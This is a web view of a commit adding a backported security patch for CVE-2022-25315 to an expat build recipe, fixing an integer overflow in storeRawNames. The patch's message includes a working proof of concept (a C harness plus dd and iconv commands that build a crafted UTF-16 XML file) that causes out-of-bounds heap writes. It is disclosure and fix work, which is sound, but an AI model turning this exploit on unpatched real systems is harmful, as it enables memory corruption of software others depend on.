summaryrefslogtreecommitdiffstats
path: root/meta/recipes-core/expat/expat/CVE-2022-25315.patch
diff options
context:
space:
mode:
Diffstat (limited to 'meta/recipes-core/expat/expat/CVE-2022-25315.patch')
-rw-r--r--meta/recipes-core/expat/expat/CVE-2022-25315.patch145
1 files changed, 145 insertions, 0 deletions
diff --git a/meta/recipes-core/expat/expat/CVE-2022-25315.patch b/meta/recipes-core/expat/expat/CVE-2022-25315.patch
new file mode 100644
index 0000000000..a39771d28a
--- /dev/null
+++ b/meta/recipes-core/expat/expat/CVE-2022-25315.patch
@@ -0,0 +1,145 @@
1From eb0362808b4f9f1e2345a0cf203b8cc196d776d9 Mon Sep 17 00:00:00 2001
2From: Samanta Navarro <ferivoz@riseup.net>
3Date: Tue, 15 Feb 2022 11:55:46 +0000
4Subject: [PATCH] Prevent integer overflow in storeRawNames
5
6It is possible to use an integer overflow in storeRawNames for out of
7boundary heap writes. Default configuration is affected. If compiled
8with XML_UNICODE then the attack does not work. Compiling with
9-fsanitize=address confirms the following proof of concept.
10
11The problem can be exploited by abusing the m_buffer expansion logic.
12Even though the initial size of m_buffer is a power of two, eventually
13it can end up a little bit lower, thus allowing allocations very close
14to INT_MAX (since INT_MAX/2 can be surpassed). This means that tag
15names can be parsed which are almost INT_MAX in size.
16
17Unfortunately (from an attacker point of view) INT_MAX/2 is also a
18limitation in string pools. Having a tag name of INT_MAX/2 characters
19or more is not possible.
20
21Expat can convert between different encodings. UTF-16 documents which
22contain only ASCII representable characters are twice as large as their
23ASCII encoded counter-parts.
24
25The proof of concept works by taking these three considerations into
26account:
27
281. Move the m_buffer size slightly below a power of two by having a
29 short root node <a>. This allows the m_buffer to grow very close
30 to INT_MAX.
312. The string pooling forbids tag names longer than or equal to
32 INT_MAX/2, so keep the attack tag name smaller than that.
333. To be able to still overflow INT_MAX even though the name is
34 limited at INT_MAX/2-1 (nul byte) we use UTF-16 encoding and a tag
35 which only contains ASCII characters. UTF-16 always stores two
36 bytes per character while the tag name is converted to using only
37 one. Our attack node byte count must be a bit higher than
38 2/3 INT_MAX so the converted tag name is around INT_MAX/3 which
39 in sum can overflow INT_MAX.
40
41Thanks to our small root node, m_buffer can handle 2/3 INT_MAX bytes
42without running into INT_MAX boundary check. The string pooling is
43able to store INT_MAX/3 as tag name because the amount is below
44INT_MAX/2 limitation. And creating the sum of both eventually overflows
45in storeRawNames.
46
47Proof of Concept:
48
491. Compile expat with -fsanitize=address.
50
512. Create Proof of Concept binary which iterates through input
52 file 16 MB at once for better performance and easier integer
53 calculations:
54
55```
56cat > poc.c << EOF
57 #include <err.h>
58 #include <expat.h>
59 #include <stdlib.h>
60 #include <stdio.h>
61
62 #define CHUNK (16 * 1024 * 1024)
63 int main(int argc, char *argv[]) {
64 XML_Parser parser;
65 FILE *fp;
66 char *buf;
67 int i;
68
69 if (argc != 2)
70 errx(1, "usage: poc file.xml");
71 if ((parser = XML_ParserCreate(NULL)) == NULL)
72 errx(1, "failed to create expat parser");
73 if ((fp = fopen(argv[1], "r")) == NULL) {
74 XML_ParserFree(parser);
75 err(1, "failed to open file");
76 }
77 if ((buf = malloc(CHUNK)) == NULL) {
78 fclose(fp);
79 XML_ParserFree(parser);
80 err(1, "failed to allocate buffer");
81 }
82 i = 0;
83 while (fread(buf, CHUNK, 1, fp) == 1) {
84 printf("iteration %d: XML_Parse returns %d\n", ++i,
85 XML_Parse(parser, buf, CHUNK, XML_FALSE));
86 }
87 free(buf);
88 fclose(fp);
89 XML_ParserFree(parser);
90 return 0;
91 }
92EOF
93gcc -fsanitize=address -lexpat -o poc poc.c
94```
95
963. Construct specially prepared UTF-16 XML file:
97
98```
99dd if=/dev/zero bs=1024 count=794624 | tr '\0' 'a' > poc-utf8.xml
100echo -n '<a><' | dd conv=notrunc of=poc-utf8.xml
101echo -n '><' | dd conv=notrunc of=poc-utf8.xml bs=1 seek=805306368
102iconv -f UTF-8 -t UTF-16LE poc-utf8.xml > poc-utf16.xml
103```
104
1054. Run proof of concept:
106
107```
108./poc poc-utf16.xml
109```
110
111Upstream-Status: Backport
112https://github.com/libexpat/libexpat/pull/559/commits/eb0362808b4f9f1e2345a0cf203b8cc196d776d9
113
114CVE: CVE-2022-25315
115
116Signed-off-by: Steve Sakoman <steve@sakoman.com>
117---
118 lib/xmlparse.c | 7 ++++++-
119 1 file changed, 6 insertions(+), 1 deletion(-)
120
121diff --git a/lib/xmlparse.c b/lib/xmlparse.c
122index 4b43e613..f34d6ab5 100644
123--- a/lib/xmlparse.c
124+++ b/lib/xmlparse.c
125@@ -2563,6 +2563,7 @@ storeRawNames(XML_Parser parser) {
126 while (tag) {
127 int bufSize;
128 int nameLen = sizeof(XML_Char) * (tag->name.strLen + 1);
129+ size_t rawNameLen;
130 char *rawNameBuf = tag->buf + nameLen;
131 /* Stop if already stored. Since m_tagStack is a stack, we can stop
132 at the first entry that has already been copied; everything
133@@ -2574,7 +2575,11 @@ storeRawNames(XML_Parser parser) {
134 /* For re-use purposes we need to ensure that the
135 size of tag->buf is a multiple of sizeof(XML_Char).
136 */
137- bufSize = nameLen + ROUND_UP(tag->rawNameLength, sizeof(XML_Char));
138+ rawNameLen = ROUND_UP(tag->rawNameLength, sizeof(XML_Char));
139+ /* Detect and prevent integer overflow. */
140+ if (rawNameLen > (size_t)INT_MAX - nameLen)
141+ return XML_FALSE;
142+ bufSize = nameLen + (int)rawNameLen;
143 if (bufSize > tag->bufEnd - tag->buf) {
144 char *temp = (char *)REALLOC(parser, tag->buf, bufSize);
145 if (temp == NULL)